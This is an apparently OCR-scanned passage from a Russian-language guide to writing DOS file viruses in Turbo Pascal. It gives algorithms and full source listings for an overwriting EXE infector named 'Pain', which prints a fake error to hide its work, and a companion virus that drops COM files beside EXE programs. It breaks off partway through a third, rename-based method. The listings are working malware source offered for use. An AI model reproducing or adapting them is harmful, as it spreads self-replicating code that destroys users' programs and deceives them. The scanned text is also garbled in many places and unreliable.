8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно заразить от одного до всех фай-
 лов в каталоге или на диске).
11. Выдать на экран какое-либо сообщение об ошибке, например
 "Abnormal program termination" или "Not enough memory", - пусть
 пользователь не слишком удивляется тому, что программа не запу-
 стилась.
12. Завершить программу.
Ниже приведен листинг программы, заражающей файлы таким
 способом.
{$М 2048, 0, 0}
{$А-}
{$В-}
{$D-}
{$Е+}
($F-)
($G-}
($!-}
{$L-}
{$N-}
{$S-} /
{$V-}
{$X+}
{Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
 Uses DOS;
Const
(Имя вируса}
 VirName='Pain';
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel: String[5]='Pain!1;
{Длина получаемого при компиляции ЕХЕ-файла}
 VirLen=4208;
Author='Dirty Nazi/SGWW.';
{Количество заражаемых за один сеанс работы файлов}
 lnfCount=2;
Var
{Массив для определения наличия копии вируса в найденном файле}
 Virldentifier: Array [1.5] of Char;
{Файловая переменная для работы с файлами}
 VirBody: File;
(Еще одна файловая переменная - хотя без нее можно было
 обойтись, так будет понятнее)
 Target: File;
{Для имени найденного файла)
 TargetFile: PathStr;
(Буфер для тела вируса)
 VirBuf : Array [-I.VirLen] of Char;
(Для даты/времени файла)
 Time : Longint;
(Счетчик количества инфицированных файлов)
 InfFiles : Byte;
Dirlnfo : SearchRec;
LabelBuf : Array [1.5] of Char;
(Инициализация)
 procedure Init;
begin
 LabelBuf [1]:=VirLabel[1];
LabelBuf[2]:=VirLabel[2];
LabelBuf[3]:=VirLabel[3],
 LabelBuf[4]:=VirLabel[4];
LabelBuf[5]:=VirLabel[5];
(Обнуляем счетчик количества инфицированных файлов}
 lnfFiles:=0;
(Связываем файловую переменную VirBody с именем программы.
 из которой стартовали)
 Assign(VirBody, ParamStr(O));
(Открываем файл с recsize=1 байту)
 Reset(VirBody, 1);
(Считываем из файла тело вируса в массив VirBuf}
 BlockRead(VirBody VirBuf, VirLen);
(Закрываем файл)
 Close(VirBody);
end;
(Поиск жертвы}
 procedure FindTarget;
Var
 Sr: SearchRec;
(Функция возвращает True, если найденная
программа уже заражена, и False, если еще нет}
 function VirusPresent: Boolean;
begin
(Пока будем считать, что вируса нет}
 VirusPresent:=False;
(Открываем найденный файл}
 Assign(Target, TargetFile);
Reset(Target, 1);
(Перемещаемся на длину тела вируса от начала файла}
 Seek(Target, VirLen);
(Считываем 5 байт - если файл уже заражен,
 там находится метка вируса}
 BlockRead(Target, Virldentifier, 5);
If Virldentifier=Virl_abel Then
{Если метка есть, значит есть и вирус}
 VirusPresent:=True;
end;
(Процедура заражения}
 procedure InfectFile;
begin
{Если размер найденного файла меньше, чем длина вируса
 плюс 100 байт, то выходим из процедуры}
 If Sr.Size < VirLen+100 Then Exit;
{Если найденная программа еще не заражена, инфицируем ее}
 If Not VirusPresent Then
 begin
{Запомним дату и время файла. Атрибуты запоминать не надо,
 так как поиск ведется среди файлов с атрибутом Archive, а этот
 атрибут устанавливается на файл после сохранения в любом случае}
 Time:=Sr.Time;
{Открываем для заражения}
 Assign(Target, TargetFile);
Reset(Target, 1);
{Записывам тело вируса в начало файла}
 BlockWrite(Target, VirBuf, VirLen);
{Перемещаем указатель текущей позиции
 на длину вируса от начала файла}
 Seek(Target, VirLen);
{Вписываем метку заражения}
 BlockWrite(Target, LabelBuf, 5);
{Устанавливаем дату и время файла}
 SetFTime(Target, Time);
{Закрываем}
 Close(Target);
{Увеличиваем счетчик инфицированных файлов}
 Inc(lnfFiles);
end;
end;
{Начало процедуры FindTarget}
 begin
{Ищем в текущем каталоге файлы по маске *.ЕХЕ
 с атрибутами Archive}
 FindFirstF.EXE', Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=" Then Exit;
(Запоминаем имя найденного файла в переменную TargetFile}
 TargetFile:=Sr.Name;
{Вызываем процедуру заражения}
 InfectFile;
{Если заразили InfCount файлов, завершаем поиск}
 If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
 FindNext(Sr);
end;
end;
{Основное тело}
 begin
(Инициализируемся}
 hit;
{Ищем жертвы и заражаем их}
 FindTarget;
{Выдаем на экран сообщение об ошибке}
 WriteLn('Abnormal program termination.');
{Это чтобы компилятор вставил в код константы VirName
 и Author, условие же поставлено таким образом,
 что эти строки никогда не будут выведены на экран}
 If 2=3 Then
 begin
 WriteLn(VirName);
WriteLn(Author);
end;
end.
Вирусы-спутники (Companion)
Вирусы-спутники сейчас широко распространены - соотношение
 companion и parasitic вирусов примерно один к двум.
Инфицирование методом создания СОМ-файла спутника
Смысл этого метода - не трогая "чужого кота" (ЕХЕ-программу), со-
 здать "своего" - СОМ-файл с именем ЕХЕ-программы. Алгоритм рабо-
 ты такого вируса предельно прост, так как отпадает необходимость
 лишних действий (например, сохранения в теле вируса длины откомпи-
 лированного ЕХЕ-файла с вирусным кодом, считывания в буфер тела
 вируса, запуска файла, из которого вирус получил управление). Неза-
 чем даже хранить метку для определения инфицирования файла.
Заражение производится с помощью командного процессора:
1. Если в командной строке указаны параметры, сохранить их в пере-
 менную типа String для передачи инфицированной программе.
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-
 лом СОМ-файл с таким же именем, как у файла-жертвы.
4. Если такой СОМ-файл присутствует, файл уже заражен, переходим
 к пункту 6.
5. С помощью командного процессора скопировать файл, из которого
 получено управление, в файл с именем жертвы и расширением СОМ.
6. Процедурой Ехес загрузить и выполнить файл с именем стартового, но
 с расширением ЕХЕ - то есть выполнить инфицированную программу.
7. Вернуть управление в DOS.
Приведенный ниже листинг показывает заражение файлов этим
 методом.
($М 2048, 0, 0}
 f$A-}
 <$В-"
 ($D-}
 <$Е+1
 {$F-}
 {$G-}
{$!-}
f$L-(
 {$N-)
 {$S-}
 <$V-}
 {$X+}
(Используются модули DOS и System (модуль System автоматически
 подключается к каждой программе при компиляции)}
 Uses DOS;
Const
{Имя вируса)
 VirName='Guesf;
Author='Dirty Nazi/SGWW. 4 PVT only!';
{Количество зараженных за один сеанс работы файлов}
 lnfCount=2;
Var
{Для имени найденного файла)
 TargetFile : PathStr;
{Для создания копии}
 TargetCOM : PathStr;
(Счетчик количества заражений}
 InfFiles : Byte;
Dirlnfo : SearchRec;
{Для сохранения параметров командной строки}
 Parms : String;
(Для цикла For}
 I: Byte;
(Поиск жертв}
 procedure FindTarget;
Var
 Sr : SearchRec;
{Функция возвращает True, если найденная программа уже заражена,
 и False, если еще нет}
 function VirusPresent: Boolean;
Var
Target : File;
begin
{Пока будем считать, что вируса здесь нет}
 VirusPresent:=False;
{Пытаемся открыть файл с именем найденной программы,
 но с расширением СОМ}
 AssignHarget, TargetCOM);
ResetHarget, 1);
{Если не было ошибок при открытии,
 программа уже инфицирована этим вирусом}
 If IOResult=0 Then
 begin
 VirusPresent:=True;
{Открыли - закроем}
 Close(Target);
end;
end;
{Собственно процедура заражения}
 procedure InfectFile;
begin
{Если найденная программа еще не заражена, инфицируем ее}
 If Not VirusPresent Then
 begin
{С помощью командного процессора
 копируем вирусный код в СОМ-файл}
 Swap Vectors;
Exec(GetEnv('COMSPEC'),7C COPY /B '+ParamStr(0)+'
 '+TargetCOM+' >NUL');
Swap Vectors;
(Увеличиваем на единицу счетчик инфицированных файлов}
 Inc(lnfFiles);
end;
end;
begin {начало процедуры FindTarget}
(Ищем в текущем каталоге файлы по маске *.ЕХЕ
 с атрибутами Archive}
 FindFirstF.EXE', Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=" Then Exit;
{Запоминаем имя найденного файла в переменную TargetFile}
 TargetFile:=Sr.Name;
TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM';
{Вызываем процедуру заражения}
 InfectFile;
{Если заразили InfCount файлов, завершаем поиск}
 If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
 FindNext(Sr);
end;
end;
{Основное тело}
 begin
 Parms:=' ';
{Запоминаем параметры командной строки}
 If ParamCount <> 0 Then
 For l:=1 To ParamCount Do
 Parms:=Parms+' '+ParamStr(l);
{Ищем жертвы и заражаем их}
 FindTarget;
TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'.EXE';
(Ищем файл с именем стартового файла, но с расширением ЕХЕ}
 FindFirst(TargetFile, AnyRle, Dirlnfo);
{Если такой файл найден, запускаем его на выполнение)
 If DosError=0 Then
 begin
 Swap Vectors;
Exec(GetEnv('COMSPEC'),7C '+TargetFile+Parms);
Swap Vectors;
end Else
{Если файл не найден, выходим,
 не внося в программу изменений)
 begin
 WriteLn(#13#10, VirName, ' by '.Author);
WriteLnCKaKoe-нибудь сообщение');
end;
end.
Инфицирование методом переименования ЕХЕ-файла
Отличий в алгоритмах работы этих вирусов и их "коллег", создающих
 файл-спутник, не так уж много. Но, по всей видимости, заражение ме-
 тодом переименования несколько совершеннее - для излечения от ви-
 руса нужно не просто удалить СОМ-файл с кодом вируса, а немного
 помучаться и разыскать, во что же переименован ЕХЕ-файл с инфици-
 рованной программой.
1. Если в командной строке указаны параметры, сохранить их в пере-
 менную типа String для передачи инфицированной программе.
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-
 лом-жертвой файл с таким же именем и с расширением, которое
 выбрано для инфицированной программы (например, OVL - про-
 граммный оверлей).
4. Если такой файл присутствует, программа уже инфицирована - пе-
 реходим к пункту 7.
5. Переименовать найденный файл-жертву (ЕХЕ) в файл с таким же име-
 нем, но с расширением, выбранным для инфицированной программы.
6. С помощью командного процессора скопировать файл, из которого по-
 лучено управление, в файл с именем жертвы и расширением жертвы.
7. Найти в каталоге, из которого получено управление, файл с именем
 стартовой программы, но с расширением, выбранным для инфици-
 рованной - это и будет зараженная программа, которую в данный
 момент необходимо запустить на исполнение.
8. Если такой файл не найден, переходим к пункту 12.
9. Изменить расширение найденного файла на СОМ (ни в коем случае не
 на ЕХЕ, ведь в ЕХЕ-файле с таким именем находится вирусный код!).
10. Процедурой Ехес загрузить и выполнить переименованный файл -
 то есть выполнить инфицированную программу.